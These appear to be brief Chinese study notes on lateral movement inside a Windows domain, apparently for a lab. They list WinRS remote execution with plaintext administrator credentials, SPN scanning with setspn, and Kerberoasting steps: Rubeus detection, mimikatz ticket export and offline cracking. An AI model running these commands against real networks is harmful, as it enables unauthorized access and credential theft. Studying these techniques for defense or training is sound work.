内网安全-横向移动Kerberos 攻击SPN 扫描WinRMWinRSRDP
1.WinRM&WinRS
条件：
双方开启winrm winrs服务
2008版本以上默认开启，win 7默认关闭
检测使用cs内置端口扫描5985开放情况
进行连接
winrs -r:http://192.168.93.30:5985 -u:administrator -p:Whoami2021 whoami
2.内网-spn
shell setspn -T god.org -q */*
探测主机
rc4可以被逆向aes256不可
3.kerbercast攻击条件：
使用rc4进行加密类型票据，工具Rubeus检测或者看加密类型
1.扫描：
shell setspn -T god.org -q */*
2.使用工具检测
Rubeus kerbercast
3.使用手工进行判断请求
使用klist查看
使用mimkaz进行导出和查看
导出
kerberos::list /export
使用脚本进行破解
